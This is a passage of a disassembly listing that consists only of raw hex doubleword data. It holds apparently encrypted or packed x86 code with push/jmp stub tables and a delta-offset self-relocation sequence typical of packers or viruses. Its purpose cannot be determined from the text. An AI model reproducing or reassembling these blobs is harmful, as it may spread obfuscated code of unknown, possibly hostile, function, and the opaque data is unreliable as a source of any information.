		dd 0B8D40B23h, 4CB6E0AAh, 81EE5882h, 5F6D8918h,	16F96B95h
		dd 95782685h, 0B5E284Eh, 366872EEh, 9F7985A0h, 51BB676Ch
		dd 384461F0h, 131F3CCBh, 738C1F49h, 1739D67h, 2CA79C37h
		dd 951BE0BFh, 45D49B85h, 0CEDCF42Bh, 329F264h, 1026EC39h
		dd 19755CD1h, 0E8039h, 1300000h, 0D3h, 222E49D8h, 2CBC2E58h
		dd 0E14E85BAh, 86471102h, 0B68CB29Bh, 0ACD5A687h, 0D5499D63h
		dd 61000005h, 4EDD3E4Ah, 34C32432h, 1EAD0E1Ch, 0A99FA08h
		dd 9F84E5F1h, 0E8F40D1Dh, 0D0DEF887h, 0B9C5E06Fh, 0A0ACC958h
		dd 2504313Fh, 8F643D79h, 284B9760h, 26BEE0BFh, 0F51B9578h
		dd 6BB931Bh, 2C9E193Bh,	7EE32251h, 25EBD9A6h, 355BD011h
		dd 4C7D330Bh, 2D000000h, 0E74CBBBAh, 2D566E0Fh,	6A08869Eh
		dd 0E9FA3F6Dh, 6771E34Dh, 0E29D12CFh, 55E4330Ah, 0E1EF053Ah
		dd 24730577h, 23000000h, 0E74CBBBAh, 0B77D470Fh, 2E940D7Fh
		dd 1CAA9578h, 330ABBA8h, 96A417EDh, 0DB208C13h,	0FECCD769h
		dd 0BA87FFFFh, 0FE74CBBh, 7FB77D47h, 0AB6ED62h,	22F0F33h
		dd 2BF0000h, 0C013DDE9h, 0A02F9CAAh, 3F097B87h,	6676C086h
		dd 51E0414Dh, 30BF2C38h, 0CF990B17h, 57C43F34h,	979018EEh
		dd 0E8348509h, 0CCB89376h, 527B9B85h, 69CB2B73h, 0BCCAE48Fh
		dd 9963CDF3h, 0D8F382EFh, 66D802CCh, 0BF28DA5Ch, 0CB277756h
		dd 8CB28F69h, 69CBF5A9h, 2BBEE48Fh, 930513h, 0EB7ADBE7h
		dd 59FCC6D2h, 8F69CC41h, 59A98D57h, 0DD84FA83h,	0CF415CE6h
		dd 0B617233Ch, 95020E27h, 6DDFEB06h, 0A0D308A3h, 253BCA33h
		dd 6C693514h, 4A708F69h, 948B6EE0h, 4795776Ch, 0F4E9C021h
		dd 0C02A3854h, 76ABC453h, 76E85260h, 0E4CAA009h, 517ED590h
		dd 0DFD4B729h, 248F6990h, 0E3ADBBD5h, 58854FB9h, 627CB3C9h
		dd 9578EA54h, 834D5B09h, 0C1DB6A97h, 4DBFE9B3h,	0ACA1F343h
		dd 0D05FC835h, 5336A8B6h, 895B7560h, 0B31C7DA3h, 0F24388DDh
		dd 0F1CBD7h, 9E31A3E3h,	58AB7581h, 0A05ABF3Bh, 0D831263Dh
		dd 0DA44AEBCh, 0DADA279h, 0F51FE9F7h, 7C3F1E8Bh, 97834E0Eh
		dd 0EB7AA771h, 0D2FCC6D2h, 0F21D7D60h, 0C7F07731h, 7E111D38h
		dd 618B5561h, 9051E5EFh, 5150E71Bh, 2E3Dh, 0F93A1000h
		dd 0DA77EC48h, 28B848BAh, 0FD6F7D99h, 49B62D22h, 8635F56Ah
		dd 7640669Bh, 6A16C7D3h, 0B680468Fh, 18C7B62Bh,	0B4DA39h
		dd 28A0000h, 0A7F7D6E5h, 68957826h, 547A434Fh, 64F320EAh
		dd 3BCE404Eh, 6A341322h, 6F957826h, 0C215DF49h,	7CCF99A5h
		dd 30F2A5Fh, 26E7B796h,	0CCF29578h, 5D220162h, 7495782Bh
		dd 35694857h, 0A4957821h, 6C32117Eh, 6D957821h,	0E170DD47h
		dd 0E849BBC9h, 38A5DC11h, 88C71A59h, 0D643699Bh, 0B5222E47h
		dd 8E000E26h, 79859E2Dh, 0D8316AA3h, 2C8046ACh,	344h, 6ECFDBF2h
		dd 54B5C3DFh, 3E9FADC5h, 2A8B99AFh, 1576829Bh, 859EAE30h
		dd 6F891879h, 56710061h, 3D5AE94Ah, 95C2D031h, 643BE8B6h
		dd 0DC28F18Fh, 7CDDE902h, 57C4D0EDh, 32A4B2C8h,	0E50245D1h
		dd 9FBC0FD9h, 60C93293h, 78261D81h, 2496BC95h, 69E50294h
		dd 7911B71Eh, 7842AC13h
		dd 9BFC0825h, 0E7548FC4h, 8615B308h, 703A609Bh,	69F9CDCDh
		dd 16243A8Fh, 0D5E3F94Ch, 0AA8C520Bh, 0A10B1732h, 445CEB14h
		dd 603F6C36h, 8F69F93Eh, 990B759Bh, 0C53AA78Fh,	0E73918E0h
		dd 5Fh,	3112BBAh, 99280191h, 7BA56F7Dh,	0CA392E09h, 41EF45Dh
		dd 831FB592h, 4EB8C4E1h, 0AD66F9DCh, 0A6F59B85h, 33127F8Bh
		dd 8F698D6Bh, 14DE486Eh, 0FF9F7EE7h, 368F698Dh,	698D4757h
		dd 0A36C928Fh, 72280B7Dh, 9B8F698Dh, 0B8061D5h,	52391950h
		dd 91940AE9h, 1F458F69h, 0D71BADh, 2CB0000h, 0DD6CD9E5h
		dd 7C46B8C4h, 3A041029h, 5A687E0Dh, 1A846390h, 0BF957826h
		dd 0E3C22F99h, 957826BBh, 0F386F81Eh, 0AD00CAD6h, 0AE178490h
		dd 7826CFCFh, 72E40A95h, 2B4D3211h, 67849578h, 435FEE5Bh
		dd 9CFAEC5h, 1E88EB25h,	57B82A54h, 0D59FABC8h, 61CE053Ah
		dd 36A8B6D2h, 0B4D160C9h, 0C5336A8h, 4F9B85D4h,	0A8574726h
		dd 5C828F69h, 85BA91F2h, 6B02E14Eh, 0C957A51h, 811079E6h
		dd 53E65864h, 3ECD2E3Ah, 0E0431925h, 0DCB2E6AEh, 1B6C216h
		dd 69800000h, 516DFC5Dh, 3B53E243h, 273DCC2Dh, 1029B819h
		dd 3CBEA304h, 0A607132Ch, 8EEFFD17h, 77D8E4FFh,	5EBFCBE8h
		dd 5A442350h, 7F8F6439h, 0BF286AB6h, 7826BEE0h,	83F51B95h
		dd 6ACBD7F0h, 51B2BEDBh, 4E85BAC5h, 365D02E1h, 0D8FE9B86h
		dd 162F6B0Eh, 0BED88F6Ah, 8469140h, 9733B36h, 0C8D6EC3Fh
		dd 0EC4A54FEh, 70C68C19h, 190EFC71h, 0B32039h, 2D00000h
		dd 0BC0FD9E5h, 2ACD97A3h, 95782B55h, 0F2535F7Ch, 0D2E0FA89h
		dd 0D96CDE08h, 9C6940BCh, 32F00E50h, 38A20C1Ah,	96B2416Eh
		dd 623C1B88h, 77957741h, 0CF04DF51h, 17482794h,	449B8557h
		dd 62CCD8F5h, 404E66F5h, 0A1966DCEh, 28E6C532h,	919579D1h
		dd 566FFE6Bh, 415AE94Ah, 28125F35h, 28EEB2E7h, 0DBD4h
		dd 38445B00h, 1E2C48D7h, 8162EBDh, 0F40218A7h, 0DFEB0493h
		dd 717997Eh, 0F281E2EEh, 0DA69CAD8h, 0C352B3BFh, 2B399AA6h
		dd 387F1FFEh, 915A8F64h, 0DDE90245h, 0BDCBE170h, 0F657C9F3h
		dd 0DD3E4A67h, 96CDE574h, 7BA56F7Bh, 0AB1D4711h, 0D9E5021Bh
		dd 0B6C2DD6Ch, 8650C2ECh, 7AAFCA59h, 57EA5462h,	2CBF313Fh
		dd 0CBA2030Fh, 9C7AEB96h, 624357ADh, 7D5719B6h,	84EE599Bh
		dd 0AC9F3817h, 86AC9B8Bh, 0BEB98FBCh, 0B88C3100h, 7D9A2D9Fh
		dd 0D164EE01h, 3716C556h, 8F635967h, 78E24C72h,	5F6B8817h
		dd 4EF5F295h, 94ACE4C2h, 5169BC86h, 0FAC07943h,	7684A03Ch
		dd 0E94D130Ch, 69CAD6F3h, 0E7B1BDDAh, 0A6707E94h, 9844F2FCh
		dd 73026F7Bh, 79DA4C58h, 0F7C1CDEAh, 3A3h, 28B45700h, 15DFEB02h
		dd 0CF99A5C2h, 8B55617Ch, 46101E38h, 4CEDAF3h, 0C28C98B1h
		dd 814B596Fh, 3E08162Eh, 0F7C1CFEBh, 0E1895197h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 68242C89h,	4CAFh, 68240C89h
		dd 2BABh, 57241C89h, 0E49ABD55h, 0EF890613h, 5FF9895Dh
		dd 241C8B54h, 8304C483h, 0C8904ECh, 8438F24h, 53241C8Bh
		dd 0C381E389h, 4, 8704C383h, 8B5C241Ch,	8953240Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 0F1E95C24h, 0BBFFFB5Bh, 78D6E0AEh
		dd 267A0536h, 130FCD1Eh, 13EF59B8h, 0FFC50306h,	0C9BA8AE0h
		dd 955FC85Bh, 0A32ABB46h, 0C0B03A2Bh, 1202A51Eh, 637C7421h
		dd 1CA9BC37h, 351BF671h, 52F4AF7Dh, 0FC21C730h,	0B5E2CC24h
		dd 390D1046h, 6B1D7479h, 1DECF96Dh, 5CB2362Fh, 0E98F9458h
		dd 89CEBB75h, 0EA1C9663h, 42F2C95Ah, 5351A52Fh,	0B709017Dh
		dd 4CF96564h, 0DF68206Fh, 0DF34AD07h, 2C456545h, 61CC8432h
		dd 3A7F3A35h, 3F0FA823h, 186E5F13h, 8DD0266Ch, 24EB3Bh
		dd 8 dup(0)
		dd 0E9000000h, 0BDh, 0F057B589h, 858B0613h, 60E0D79h, 7ED858Bh
		dd 0B58D060Eh, 613F0A1h, 4753858Dh, 0D0FF0611h,	0E855C3h
		dd 5D000000h, 0F0A7ED81h, 0BD830613h, 60E0D79h,	2C850F01h
		dd 0FF000000h, 13F057B5h, 0ED858B06h, 35060E07h, 34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 5BB58D1Ch, 560613F0h, 0F057B5FFh,	858B0613h
		dd 60E07EDh, 81273635h,	83D0FF34h, 0B58D0CC4h, 613F05Bh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	0E0D79BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 80858DCFh, 890613F0h, 0E0A0D85h, 0BDE906h
		dd 0B55A0000h, 947A9Eh,	50000h,	10000h,	0A280000h, 20000h
		dd 29h dup(0)
		dd 0E9000000h, 0B1Eh, 13F3E668h, 8C86E906h, 0EF68FFFAh
		dd 0E90613F4h, 0FFFA8C7Ch, 13F5F568h, 8C72E906h, 4868FFFAh
		dd 0E90613F6h, 0FFFA8C68h, 13F77868h, 8C5EE906h, 0CA68FFFAh
		dd 0E90613F7h, 0FFFA8C54h, 13FABB68h, 8C4AE906h, 0A868FFFAh
		dd 0E90613FBh, 0FFFA8C40h, 90541F16h, 7438F9F5h, 571BDED9h
		dd 39FDC2BCh, 19DDA69Eh, 170F76EEh, 0F6EF8A4Eh,	0D2D06B2Fh
		dd 0B9B65115h, 1FEA36FAh, 7A423B5Eh, 232E975Dh,	27C68984h
		dd 974E6A2Bh, 0B9B6D442h, 603DEFAh, 0E9B88347h,	69B0E128h
		dd 2DEE845Bh, 711A3CFAh, 1BDA2FAAh, 14D5A41Dh, 61772790h
		dd 0A78E8928h, 17CEEAABh, 984479Ch, 3BADF0EDh, 8749A29Bh
		dd 2FF0BF36h, 0A29B3BE8h, 1698ED68h, 0B603BCE1h, 0C2AFA746h
		dd 6F8B06C5h, 592019B8h, 6531863Dh, 3Ch, 1BA692F7h, 0EDB4AD4Ch
		dd 0FAC51AD1h, 77BF1F39h, 1A36B161h, 187F400Fh,	0E0A29841h
		dd 8E5D24E3h, 98414ACDh, 108B06A2h, 419FFEBBh, 9557A298h
		dd 5AE11644h, 0FE45B604h, 0D7000000h, 3E9E786h,	5F4CE040h
		dd 7A19944Bh, 0CC67BC7Fh, 19F410CFh, 613C5821h,	20BF7C64h
		dd 0F511D6D0h, 0E6D29A3Eh, 0A823EAE3h, 3936112Dh, 1E995A56h
		dd 0D2E19D5Ah, 8A875B69h, 6F6C07CBh, 0D17C9B5Ch, 59D45B69h
		dd 0E8B7C2DEh, 0D1315819h, 16915B69h, 69D13255h, 0BE138E5Bh
		dd 0B98839FFh, 77AC68F8h, 81EC9061h, 0AE9F8DA4h, 793835D4h
		dd 22E66124h, 1DECD563h, 0EFB6AF4Eh, 0AC71CD3h,	98887527h
		dd 0ED9160DBh, 0C6C7AABBh, 19DCD76Ch, 0AF7E499Eh, 267D450Bh
		dd 884C2265h, 7F239EA8h, 186D5838h, 9A98857Dh, 39E62DDh
		dd 6AEC420Bh, 7A2286C6h, 88C941Eh, 0A59C0000h, 7F7B16DAh
		dd 645FFABEh, 4842DDA1h, 2C24BF83h, 0F0749F63h,	10D49D95h
		dd 0F1B57C75h, 0D79B5856h, 0BC803F3Ch, 0A5E4A570h, 1D5D7A43h
		dd 0BEB606B4h, 0B598A9CCh, 3BDFFDAAh, 0DD907184h, 0D397129Dh
		dd 0B87C3B38h, 1BA6924Ah, 0BFCD8B4Ch, 34036177h, 98401473h
		dd 0B631ACA2h, 3AEB8F9Ah, 8C514BC6h, 0ED4CB8E8h, 7CB8DB98h
		dd 2534A298h, 7C729556h, 53CEA298h, 7C44C384h, 81FCA298h
		dd 2F5DAE2Ch, 0B6047FC8h, 0D85Eh, 0B9B6F000h, 2FD3DEFAh
		dd 31131407h, 761166D0h, 9C99B57Eh, 5B69FBE6h, 0AAA68986h
		dd 0FAA6EE9h, 38375312h, 4EF2C100h, 45CC3FC0h, 5A257A5Bh
		dd 77178799h, 0FABE3961h, 0CF98902Fh, 0AD81D3B3h, 8696518Dh
		dd 41F7B60Bh, 12F0B180h, 0D2988840h, 0C0C74203h, 7BA888h
		dd 1D17B685h, 0C0C44304h, 17CA888h, 0C7663186h,	774206CFh
		dd 0C71CDBD8h, 156B342Ch, 228661C7h, 83B33D99h,	0A5000007h
		dd 841FE3AEh, 6803C788h, 4BE6AA6Dh, 2DC88C51h, 7DA86C35h
		dd 0DDA69EC7h, 0BE857E19h, 0A4615FFAh, 894845E0h, 0EDAE79C5h
		dd 5D7A44AAh, 0B60FBD26h, 9631F5BEh, 0E709B199h, 7EA69D15h
		dd 69955ABDh, 7BF65Bh, 95297031h, 2EA95B69h, 5415E4B3h
		dd 5B699535h, 0FDBD128Dh, 0EBE7868Fh, 0D91FCD01h, 0C43F150Ah
		dd 18D7D46Fh, 112421FCh, 6924C950h, 5C35AC5Bh, 283DF341h
		dd 4A47E661h, 7241108Bh, 690D56B1h, 1A6FEA5Bh, 249D9B5Ah
		dd 1CC79455h, 47F617Dh,	0DA999635h, 7BCE5916h, 3506A285h
		dd 7A107738h, 35B0A285h, 0BEDA9996h, 53C88C07h,	6061D7E4h
		dd 8601C291h, 3AA2857Ah, 0DE9F6ABFh, 989B15CEh,	0F9F68F0Ah
		dd 1CEC3C5Bh, 0F5D9BF79h, 0F1F00165h, 1ADBAA25h, 162CDA6h
		dd 78839F1Ah, 0FD19E0D9h, 632F146h, 7C2BECBBh, 0F43B7C7Ah
		dd 0E0BAA79h, 0F3F08B4Fh, 0E718DE34h, 0FC588292h, 67D72h
		dd 0E9B4AB00h, 0CD8E8A25h, 0B0736E09h, 925751ECh, 723B33CEh
		dd 0A4C183AEh, 841FE3ACh, 6500C48Bh, 4BE6AA67h,	7FCB8F4Eh
		dd 4594F3B4h, 0C32C5D7Ah, 1BA69215h, 0A1BE8B4Ch, 0FB76617Dh
		dd 0D0918D2Ch, 0B475710Ch, 1C0BD98h, 8B1F4DABh,	35BF1B28h
		dd 62Ah, 783C07FEh, 5C20E1DDh, 3F03C6C1h, 21E5AAA4h, 1C58E86h
		dd 0FFF76ED6h, 0DED77236h, 0BAB85317h, 0A19E39FDh, 7D21EE2h
		dd 7A46C346h, 68167F5Dh, 4C1BA692h, 7A9FBA8h, 0A5F752Ah
		dd 55A97E3Fh, 0EE69617Dh, 0C483801Fh, 0A5663500h, 0A284B262h
		dd 4F0E63DEh, 3706D5ECh, 0BBD7A098h, 0B2C44304h, 17CA284h
		dd 8D20E1ACh, 4DA284B2h, 0B25ABD7Eh, 7BF6A284h,	0A5E7E400h
		dd 3FA284B2h, 0D4959130h, 5D793835h, 82D351A6h,	0AC736C0Bh
		dd 284D990h, 0B60945F5h, 5031h,	0E786C300h, 37901EBh, 62272D85h
		dd 0BF14CBE7h, 0B7863B00h, 69169FF6h, 8B84235Bh, 0D3CDA8C4h
		dd 7B3E930Eh, 0A4E7E400h, 405B6916h, 0F8FF2D7Eh, 2FAFF5A1h
		dd 7ED39490h, 14B2h, 90074400h,	38000001h, 0DDC9D99h, 69B0CD4Ch
		dd 0B50A855Bh, 5477DC47h, 4D0EDDE4h, 6177DFBFh,	6865FE79h
		dd 0F2E58E9Bh, 9D8E94Fh, 309D9848h, 669C402Bh, 6EA5721Ah
		dd 47C285DAh, 0B50C2C2Bh, 0F17225E6h, 73EE2542h, 490805A4h
		dd 2EEDEA85h, 4F6E26D8h, 58E23EEFh, 4FAh, 0A86C372Eh, 8C50110Dh
		dd 6F33F6F1h, 5115DAD4h, 31F5BEB6h, 2F275E06h, 0E07A266h
		dd 0EAE88347h, 0D1CE692Dh, 37024E12h, 7A471376h, 9846AF5Dh
		dd 0DEFAB9B6h, 4C4459DFh, 78390883h, 6177BE48h,	9E39FD78h
		dd 988CE2A1h, 0E82896E0h, 4A8028Ch, 89800000h, 635FFABEh
		dd 4843DEA2h, 2C26C185h, 1008A367h, 0EC588347h,	0F4B88179h
		dd 0D5996059h, 0BB7F3C3Ah, 0A0642320h, 41C88954h, 15D7A47h
		dd 0B9B6EA98h, 918C2BFAh, 866179CEh, 5CFBCA89h,	2F479C63h
		dd 246BBC3Ah, 22A46827h, 0AFF647D5h, 4451h, 0A692E300h
		dd 0B08306C7h, 6A675B69h, 0EE69E4ABh, 0B5B1501Fh, 26E29FF4h
		dd 9A6177B0h, 0BF3A03FBh, 0FFF998A3h, 12671E3Ah, 9BB03655h
		dd 9BECAEA2h, 75945524h, 0CDA29BB0h, 7C7BFD52h,	0AAB6044Ch
		dd 53h,	0C7A6923Ch, 69B08306h, 49C43F5Bh, 120CAB7Ah, 0E93BF84Dh
		dd 0A76177FEh, 0C2BE5D2Ch, 1C803D01h, 0E4A29803h, 0F413D4E7h
		dd 6FA29803h, 80521646h, 73EEB5CEh, 9D9934F8h, 6E4B62B3h
		dd 0F8A5D55h, 0D6739C40h, 25C98684h, 0A1F636C1h, 3C0FF89h
		dd 928D0000h, 8B4C1BA6h, 6177BB41h, 0A0E7A877h,	20A29844h
		dd 44099051h, 4EC9A298h, 40BB7ED3h, 8D4C4924h, 0C819DB71h
		dd 17E6DB5Dh, 864F7E56h, 0BCF4A98h, 98B47370h, 53229F99h
		dd 94229E92h, 8BA72292h, 0D920712Fh, 9A591DDCh,	8554239Eh
		dd 0B27ECE6h, 1242FF54h, 0CE8CA27Dh, 88E08453h,	0DE9B99F8h
		dd 54441F3Ah, 0F0CE7FFh, 5F593450h, 0AAA37E9Ah,	0AD6BC7E3h
		dd 5B19395Ch, 4999F0Ah,	0FDCC4708h, 0CE978F2Eh,	7388BC79h
		dd 0A94886B0h, 9F6EE9B0h, 0BD3FB1FBh, 0B207F8D2h, 975827F2h
		dd 0BAD0C870h, 0BDB655D0h, 0CE23DAF6h, 5B773633h, 0A3BF8880h
		dd 0B3FA4B0Dh, 8928F7B6h, 0F6ADC990h, 0C8236627h, 249FBAD0h
		dd 75440FCFh, 0D0C855B4h, 1D72EDBAh, 18E7DA5Eh,	0CEB2D957h
		dd 4540DF80h, 55F54959h, 1893165Eh, 203D1474h, 0BB1028DBh
		dd 9B5E59F8h, 2C290420h, 18315819h, 169180C2h, 79636D72h
		dd 0F772A03Dh, 0A38D8928h, 0E07D7071h, 459A151Dh, 0C213D12Dh
		dd 11E0E157h, 0DC572050h, 0A165E0BAh, 2E4A0906h, 0D3975653h
		dd 7B792414h, 0A57443BEh, 1DC31101h, 0D82D45F8h, 0EA7B991Bh
		dd 0EDBC37B4h, 0CFE8C349h, 99EE0CB9h, 3C018481h, 1BDD94E6h
		dd 0BC5B9CCAh
		dd 47CBE066h, 5D000000h, 4C1BA692h, 77BFCD8Bh, 882CFB61h
		dd 26551549h, 7F9A5B87h, 0FBA298B6h, 0F9743B02h, 4642E1A4h
		dd 37B26985h, 0B6FF1E1Bh, 6877A298h, 0EF0BCEC9h, 1465E338h
		dd 54611E6h, 797716B6h,	94E9A0BCh, 0B5C8h, 0B9B65A00h
		dd 2FD3DEFAh, 250C444h,	47E2373Ch, 8F6A864Fh, 0DCB7D392h
		dd 915C20DFh, 1935F6F2h, 52500D62h, 3A5B690Fh, 1FBA7E3Dh
		dd 48476322h, 4102D1F0h, 61777207h, 59221AB9h, 0DD5B1ADEh
		dd 65415E4h, 0BE9888FBh, 0DDD57443h, 0F060DFEBh, 469135F2h
		dd 3C007BB4h, 8AE0A9A1h, 2286228Ch, 0B7F680DCh,	71000001h
		dd 50EBAF7Ah, 34CF9354h, 17B27639h, 0F994581Dh,	49743801h
		dd 0A9726A9Bh, 8A514AE5h, 702D2BC6h, 551411ACh,	0B97A4591h
		dd 5D7A4A5Eh, 86DB89F2h, 0A26EFE7h, 0B0DB3EFFh,	0FC775B69h
		dd 99912C81h, 0A2410CD0h, 0EC5E1AAh, 62211EB9h,	0A692309Eh
		dd 0CD8B4C1Bh, 36177BFh, 6015B988h, 3D856C0Ah, 504D65BAh
		dd 0A2980CCDh, 1F96E7A9h, 0EBB027Bh, 17D86EF7h,	0A2985EF0h
		dd 55AD550h, 45E7483h, 0A9B2B6h, 0B6440000h, 3DEFAB9h
		dd 2926420Bh, 5B69B475h, 88571613h, 4C91F8B9h, 0B631A496h
		dd 906A161h, 0E5D77B4Ah, 0E745F199h, 0E0D257Ah,	7C8972Ah
		dd 9E88A341h, 8140047Fh, 7A3B0AB7h, 988B058Fh, 6CAB6C3Bh
		dd 0E4A8891Ah, 0D6511469h, 0A7706807h, 335048E3h, 891A1772h
		dd 0B530ABA8h, 87BB495Fh, 0C14BA722h, 0CAh, 0D89C675Eh
		dd 0BC80413Dh, 9F632621h, 81450A04h, 6125EEE6h,	5F578E36h
		dd 3E37D296h, 1A18B377h, 1FE995Dh, 67327E42h, 7A4B63A6h
		dd 0C876DF5Dh, 26F5BEB6h, 0B0739657h, 54CF5B69h, 0A7A43FFFh
		dd 0B6B624E8h, 0D3DEFAB9h, 56523934h, 47C27995h, 841F742Bh
		dd 4504C887h, 3EFFCEF3h, 617DA16Dh, 3FE3B22Dh, 3FB31EAh
		dd 0C3671E3Ah, 2D82924Dh, 7E3D3A15h, 63221FBAh,	0E9AA4A47h
		dd 11D32E1Ah, 0B97A49C0h, 2637795Eh, 872277F2h,	6C07CB8Ah
		dd 0B994B06Fh, 82DEFABFh, 5DFC73C4h, 0CB829E63h, 1FDEDB76h
		dd 0B0C3C05Bh, 36962A0Ch, 1EDF41AAh, 263771FBh,	4561DC57h
		dd 0DBBh, 5C1DEC00h, 2637713Dh,	57C51A95h, 0BFB68133h
		dd 0FDD8F4h, 4C4A2541h,	9F98738Fh, 0E9E1BCD8h, 31290420h
		dd 77714C68h, 0C0BB96B2h, 0A06E1FDh, 51692D49h,	0C181E189h
		dd 4, 8704E983h, 895C240Ch, 1168242Ch, 8900002Bh, 89532414h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2434895Ch, 73846851h
		dd 0C8B1DF1h, 4C48324h,	707EF181h, 0C9814EFBh, 2CBD1EFBh
		dd 0D265C181h, 0CA898654h, 348B5459h, 4C48324h,	67C868h
		dd 24148900h, 0C2240481h, 8F72F671h, 6E810846h,	0F671C208h
		dd 2434FF72h, 4C4835Eh,	5724148Bh, 0C781E789h, 4, 8704C783h
		dd 0E95C243Ch, 0FFFA8178h, 5C4EB8CDh, 97B85375h, 30613FCh
		dd 66E0FFC5h, 7111CE85h, 0FB6266DAh, 0BA08BB17h, 0D328CAF0h
		dd 0F505AFF4h, 0B13DD627h, 31467C49h, 0C4106A9Dh, 0E95A05E8h
		dd 9868CCECh, 9E5CA4CCh, 5D5FA19Fh, 244C570Eh, 0D744F914h
		dd 0C5484DF2h, 1B1F6C9Bh, 8D3DD473h, 13FE568Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 51A64908h, 0C68166E7h, 8D894F9Fh, 60E2FC5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D2C35545h, 0F7AD480h
		dd 382h, 0D6BF0F00h, 88185C7h, 6F04060Eh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 90B951C3h, 756EB856h, 2B5B2548h, 0E2FF1BDh, 0D985C706h
		dd 60E28h, 0B6000000h, 0D5B5FF58h, 29060E0Ch, 0E0C71B5h
		dd 0B995FF06h, 6A060E09h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 18A7C353h, 0DD515CCAh
		dd 0B5B5239Eh, 6A060E21h, 4595FF00h, 8B060E0Fh,	775EEBC0h
		dd 7F8ACA36h, 13C4339Dh, 0D293C111h, 0E00DFBD2h, 0F622137Fh
		dd 0AFC66B85h, 0E5B18197h, 916B4E41h, 0C8AAE19Bh, 4DE4415Bh
		dd 0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h,	623E902Dh
		dd 638C019Ah, 82716FF8h, 0A5FED7F7h, 5E596A70h,	0C5AF2435h
		dd 0D0754363h, 0EA32BD71h, 61003552h, 6E857h, 0DED80000h
		dd 0FC246434h, 28D5BD2Bh, 8B5E060Eh, 80C681DAh,	0E900006Ah
		dd 13h,	6E7F85C2h, 4467CA45h, 3062EC25h, 8F4756C6h, 332C013Ah
		dd 0BE8C9h, 76F50000h, 0A1144EE0h, 73B2C684h, 0C2BB66E8h
		dd 48B5B88h, 8D89510Eh,	60E2911h, 21E8815Fh, 2B308444h
		dd 0E2AAD9Dh, 6AE88106h, 81226E96h, 94A790E8h, 0F88B5042h
		dd 330E048Fh, 0E21FD95h, 38A0F06h, 80000000h, 0E98382F7h
		dd 0D5B58901h, 49060E33h, 0CA814949h, 6EBFC7AFh, 961CF981h
		dd 850FFFFFh, 0FFFFFFAAh, 1D0DBD8Bh, 0DE8060Eh,	6B000000h
		dd 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h, 0F58F38Ah,	1281h
		dd 0DE900h, 0FC590000h,	0FA3B37CCh, 0CF818D6Bh,	817C516Dh
		dd 6764C0h, 4FF78000h, 0B9h, 0B59D8B00h, 8B060E0Fh, 66570834h
		dd 490BDA81h, 16EE815Bh, 66010B03h, 0F681FA8Bh,	3B3715AEh
		dd 0C6812CB2h, 217C9615h, 0AE8h, 0E78AC200h, 0B24655B5h
		dd 0FE33EF3h, 565ADAB7h, 38F0Fh, 0B70F0000h, 8048FD6h
		dd 320DBD33h, 9D89060Eh, 60E30A9h, 8903E983h, 0E2D5DBDh
		dd 6E94906h, 74000000h,	2B540FB8h, 74F981AEh, 0FFFFF99h
		dd 1385h, 9D895600h, 60E1859h, 25E95Fh,	64760000h, 1341504Eh
		dd 17F5BD29h, 74E9060Eh, 0D1FFFFFFh, 0B61B8ED8h, 59507625h
		dd 0C495EB64h, 5C66030Dh, 0E912372Dh, 0E3h, 42EC608Bh
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 0Ah dup(0)
		dd 0E9000000h, 1626h, 14033868h, 7D6AE906h, 2A68FFFAh
		dd 0E9061404h, 0FFFA7D60h, 14055068h, 7D56E906h, 8768FFFAh
		dd 0E9061406h, 0FFFA7D4Ch, 14071E68h, 7D42E906h, 0D868FFFAh
		dd 0E9061407h, 0FFFA7D38h, 14088068h, 7D2EE906h, 3C68FFFAh
		dd 0E9061409h, 0FFFA7D24h, 140A1368h, 7D1AE906h, 5F68FFFAh
		dd 0E906140Bh, 0FFFA7D10h, 140C7068h, 7D06E906h, 0BD68FFFAh
		dd 0E906140Dh, 0FFFA7CFCh, 140ECF68h, 7CF2E906h, 3268FFFAh
		dd 0E9061410h, 0FFFA7CE8h, 1411BC68h, 7CDEE906h, 0B368FFFAh
		dd 0E9061413h, 0FFFA7CD4h, 1414D368h, 7CCAE906h, 958CFFFAh
		dd 6F6B06CAh, 544FEAAEh, 3832CD91h, 1C14AF73h, 0E0648F53h
		dd 0C48D85h, 0E1A56C65h, 0C78B4846h, 0AC702F2Ch, 0B5D49560h
		dd 0D5D7DB1h, 0B9B6F6A4h, 7817DCD6h, 0E69DB97Eh, 2FD9C6Bh
		dd 0F7D2EA3Fh, 0CD6C3BFAh, 14F410D1h, 16D85FCCh, 2CD04B27h
		dd 7A601D54h, 9A5AAFBBh, 0D83F00CFh, 785B698Ah,	1CDDD9h
		dd 0BA79CE49h, 0B374437Eh, 61778431h, 3B3854CFh, 0A29B9CD8h
		dd 5381D294h, 0B6041BA4h, 5182h, 0A6921400h, 0D97D4C1Bh
		dd 0C5C2F0B6h, 0E8A5FA1Fh, 61772060h, 0FDBCB958h, 12D52AE1h
